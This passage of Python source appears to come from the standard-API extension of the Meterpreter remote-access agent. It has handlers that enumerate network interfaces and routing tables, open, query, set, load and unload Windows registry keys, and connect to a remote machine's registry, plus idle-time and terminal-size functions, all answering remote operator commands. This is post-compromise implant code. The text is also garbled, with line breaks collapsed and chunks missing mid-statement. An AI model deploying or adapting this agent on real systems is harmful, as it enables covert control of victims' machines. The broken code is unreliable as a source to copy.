ctstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) pAdapterAddresses = AdapterAddresses.Next pFirstPrefix = AdapterAddresses.FirstPrefix iface_info = {} iface_info['index'] = AdapterAddresses.u.s.IfIndex if AdapterAddresses.PhysicalAddressLength: iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) iface_desc = ctypes.wstring_at(AdapterAddresses.Description) if not is_str(iface_desc): iface_desc = str(iface_desc) iface_info['name'] = iface_desc iface_info['mtu'] = AdapterAddresses.Mtu pUniAddr = AdapterAddresses.FirstUnicastAddress while pUniAddr: UniAddr = ctstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) pUniAddr = UniAddr.Next address = ctstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) if not address.sa_family in (socket.AF_INET, socket.AF_INET6): continue prefix = 0 if win_version.dwMajorVersion >= 6: prefix = UniAddr.OnLinkPrefixLength elif pFirstPrefix: ip_adapter_prefix = 'QPPIL' prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] iface_addresses = iface_info.get('addrs', []) if address.sa_family == socket.AF_INET: iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) else: iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) iface_info['addrs'] = iface_addresses interfaces.append(iface_info) return interfaces @register_function def stdapi_net_config_get_routes(request, response): if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): routes = stdapi_net_config_get_routes_via_netlink() elif sys.platform == 'darwin': routes = stdapi_net_config_get_routes_via_osx_netstat() elif has_windll: routes = stdapi_net_config_get_routes_via_windll() else: return ERROR_FAILURE, response for route_info in routes: route_tlv = bytes() route_tlv += tlv_pack(TLV_TYPE_SUBNET, route_info['subnet']) route_tlv += tlv_pack(TLV_TYPE_NETMASK, route_info['netmask']) route_tlv += tlv_pack(TLV_TYPE_GATEWAY, route_info['gateway']) route_tlv += tlv_pack(TLV_TYPE_STRING, route_info['iface']) route_tlv += tlv_pack(TLV_TYPE_ROUTE_METRIC, route_info.get('metric', 0)) response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv) return ERROR_SUCCESS, response def stdapi_net_config_get_routes_via_netlink(): rta_align = lambda l: l+3 & ~3 responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC)) routes = [] for res_data in responses: rtmsg = ctstruct_unpack(RTMSG, res_data) cursor = rta_align(ctypes.sizeof(RTMSG)) route = {'table': rtmsg.table} if rtmsg.family == socket.AF_INET: route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET, '0.0.0.0') route['netmask'] = calculate_32bit_netmask(rtmsg.dst_len) elif rtmsg.family == socket.AF_INET6: route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET6, '::') route['netmask'] = calculate_128bit_netmask(rtmsg.dst_len) else: continue while cursor < len(res_data): attribute = ctstruct_unpack(RTATTR, res_data[cursor:]) at_len = attribute.len attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] cursor += rta_align(at_len) if attribute.type == RTA_DST: route['subnet'] = attr_data if attribute.type == RTA_GATEWAY: route['gateway'] = attr_data elif attribute.type == RTA_TABLE: route['table'] = struct.unpack(' 5 and words[3].lower() == 'refs': has_refs = True continue destination, gateway, flags, iface = words[:4] if has_refs: iface = words[5] if state == socket.AF_INET: all_nets = '0.0.0.0/0' bits = 32 calc_netmask = calculate_32bit_netmask elif state == socket.AF_INET6: all_nets = '::/0' bits = 128 calc_netmask = calculate_128bit_netmask else: continue if destination == 'default': destination = all_nets if re.match('link#\d+', gateway) or re.match('([0-9a-f]{1,2}:){5}[0-9a-f]{1,2}', gateway): gateway = all_nets[:-2] if '/' in destination: destination, netmask_bits = destination.rsplit('/', 1) netmask_bits = int(netmask_bits) else: netmask_bits = bits if '%' in destination: destination, _ = destination.rsplit('%', 1) if '%' in gateway: gateway, _ = gateway.rsplit('%', 1) if state == socket.AF_INET: while destination.count('.') < 3: destination += '.0' routes.append({ 'subnet': inet_pton(state, destination), 'netmask': calc_netmask(netmask_bits), 'gateway': inet_pton(state, gateway), 'metric': 0, 'iface': iface }) return routes def stdapi_net_config_get_routes_via_windll(): iphlpapi = ctypes.windll.iphlpapi if not hasattr(iphlpapi, 'GetIpForwardTable2'): # added in Vista / 2008 return stdapi_net_config_get_routes_via_windll2() routes = [] iface_names = {} for iface in stdapi_net_config_get_interfaces_via_windll(): iface_names[iface['index']] = iface['name'] for family in [WIN_AF_INET, WIN_AF_INET6]: table = PMIB_IPFORWARD_TABLE2() if iphlpapi.GetIpForwardTable2(family, ctypes.byref(table)): continue table = table.contents rows = ctypes.cast(table.Table, PMIB_IPFORWARD_ROW2) for index in range(table.NumEntries): row = rows[index] route = {} if family == WIN_AF_INET: route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv4.sin_addr) route['netmask'] = calculate_32bit_netmask(row.DestinationPrefix.PrefixLength) route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv4.sin_addr) elif family == WIN_AF_INET6: route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv6.sin6_addr) route['netmask'] = calculate_128bit_netmask(row.DestinationPrefix.PrefixLength) route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv6.sin6_addr) iface = MIB_IPINTERFACE_ROW(Family=family, InterfaceIndex=row.InterfaceIndex) if iphlpapi.GetIpInterfaceEntry(ctypes.byref(iface)): continue route['metric'] = row.Metric + iface.Metric route['iface'] = iface_names.get(row.InterfaceIndex, str(row.InterfaceIndex)) routes.append(route) return routes def stdapi_net_config_get_routes_via_windll2(): iphlpapi = ctypes.windll.iphlpapi routes = [] iface_names = {} for iface in stdapi_net_config_get_interfaces_via_windll(): iface_names[iface['index']] = iface['name'] size = ctypes.c_uint32(0) table = MIB_IPFORWARDTABLE() iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False) if size.value: buffer = (ctypes.c_uint8 * size.value)() table = ctypes.cast(buffer, PMIB_IPFORWARDTABLE).contents iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False) rows = ctypes.cast(table.table, PMIB_IPFORWARDROW) for index in range(table.dwNumEntries): row = rows[index] routes.append({ 'subnet': struct.pack(' 3: break name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) tries += 1 continue elif result == ERROR_NO_MORE_ITEMS: result = ERROR_SUCCESS break elif result != ERROR_SUCCESS: break tries = 0 response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) index += 1 return result, response @register_function_if(has_windll) def stdapi_registry_enum_key(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] return _wreg_enum_key(request, response, hkey) @register_function_if(has_windll) def stdapi_registry_enum_key_direct(request, response): err, hkey = _wreg_open_key(request) if err != ERROR_SUCCESS: return err, response ret = _wreg_enum_key(request, response, hkey) _wreg_close_key(hkey) return ret def _wreg_enum_value(request, response, hkey): ERROR_MORE_DATA = 0xea ERROR_NO_MORE_ITEMS = 0x0103 name = (ctypes.c_char * 4096)() name_sz = ctypes.c_uint32() index = 0 tries = 0 while True: name_sz.value = ctypes.sizeof(name) result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) if result == ERROR_MORE_DATA: if tries > 3: break name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) tries += 1 continue elif result == ERROR_NO_MORE_ITEMS: result = ERROR_SUCCESS break elif result != ERROR_SUCCESS: break tries = 0 response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) index += 1 return result, response @register_function_if(has_windll) def stdapi_registry_enum_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] return _wreg_enum_value(request, response, hkey) @register_function_if(has_windll) def stdapi_registry_enum_value_direct(request, response): err, hkey = _wreg_open_key(request) if err != ERROR_SUCCESS: return err, response ret = _wreg_enum_value(request, response, hkey) _wreg_close_key(hkey) return ret @register_function_if(has_windll) def stdapi_registry_load_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) return result, response def _wreg_close_key(hkey): ctypes.windll.advapi32.RegCloseKey(hkey) def _wreg_open_key(request): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) handle_id = ctypes.c_void_p() if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: return error_result_windows(), 0 return ERROR_SUCCESS, handle_id.value def _wreg_query_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = ctypes.c_uint32() value_type.value = 0 value_data = (ctypes.c_ubyte * 4096)() value_data_sz = ctypes.c_uint32() value_data_sz.value = ctypes.sizeof(value_data) result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) if result == ERROR_SUCCESS: response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) if value_type.value == winreg.REG_SZ: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE) elif value_type.value == winreg.REG_DWORD: value = value_data[:4] value.reverse() if sys.version_info[0] < 3: value = ''.join(map(chr, value)) else: value = bytes(value) response += tlv_pack(TLV_TYPE_VALUE_DATA, value) else: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) return ERROR_SUCCESS, response return error_result_windows(), response def _wreg_set_value(request, response, hkey): value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) return result, response @register_function_if(has_windll) def stdapi_registry_open_key(request, response): err, hkey = _wreg_open_key(request) if err != ERROR_SUCCESS: return err, response response += tlv_pack(TLV_TYPE_HKEY, hkey) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_registry_open_remote_key(request, response): target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] result_key = ctypes.c_void_p() if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS: return error_result_windows(), response response += tlv_pack(TLV_TYPE_HKEY, result_key.value) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_registry_query_class(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] value_data = (ctypes.c_char * 4096)() value_data_sz = ctypes.c_uint32() value_data_sz.value = ctypes.sizeof(value_data) if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS: return error_result_windows(), response response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) return ERROR_SUCCESS, response @register_function_if(has_windll) def stdapi_registry_query_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] return _wreg_query_value(request, response, hkey) @register_function_if(has_windll) def stdapi_registry_query_value_direct(request, response): err, hkey = _wreg_open_key(request) if err != ERROR_SUCCESS: return err, response ret = _wreg_query_value(request, response, hkey) _wreg_close_key(hkey) return ret @register_function_if(has_windll) def stdapi_registry_set_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] return _wreg_set_value(request, response, hkey) @register_function_if(has_windll) def stdapi_registry_set_value_direct(request, response): err, hkey = _wreg_open_key(request) if err != ERROR_SUCCESS: return err, response ret = _wreg_set_value(request, response, hkey) _wreg_close_key(hkey) return ret @register_function_if(has_windll) def stdapi_registry_unload_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) return result, response @register_function_if(has_windll) def stdapi_ui_get_idle_time(request, response): GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo GetLastInputInfo.argtypes = [ctypes.c_void_p] GetLastInputInfo.restype = ctypes.c_int8 info = LASTINPUTINFO() info.cbSize = ctypes.sizeof(LASTINPUTINFO) if not GetLastInputInfo(ctypes.byref(info)): return error_result_windows(), response GetTickCount = ctypes.windll.kernel32.GetTickCount GetTickCount.restype = ctypes.c_uint32 idle_time = (GetTickCount() - info.dwTime) / 1000 response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time) return ERROR_SUCCESS, response @register_function_if(has_termios and has_fcntl) def stdapi_sys_process_set_term_size(request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value'] columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value'] if channel_id in meterpreter.interact_channels: proc_h = meterpreter.channels[channel_id].proc_h winsize = struct.pack("HHHH", rows, columns, 0, 0) fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize) else: return ERROR_FAILURE, response return ERROR_SUCCESS, response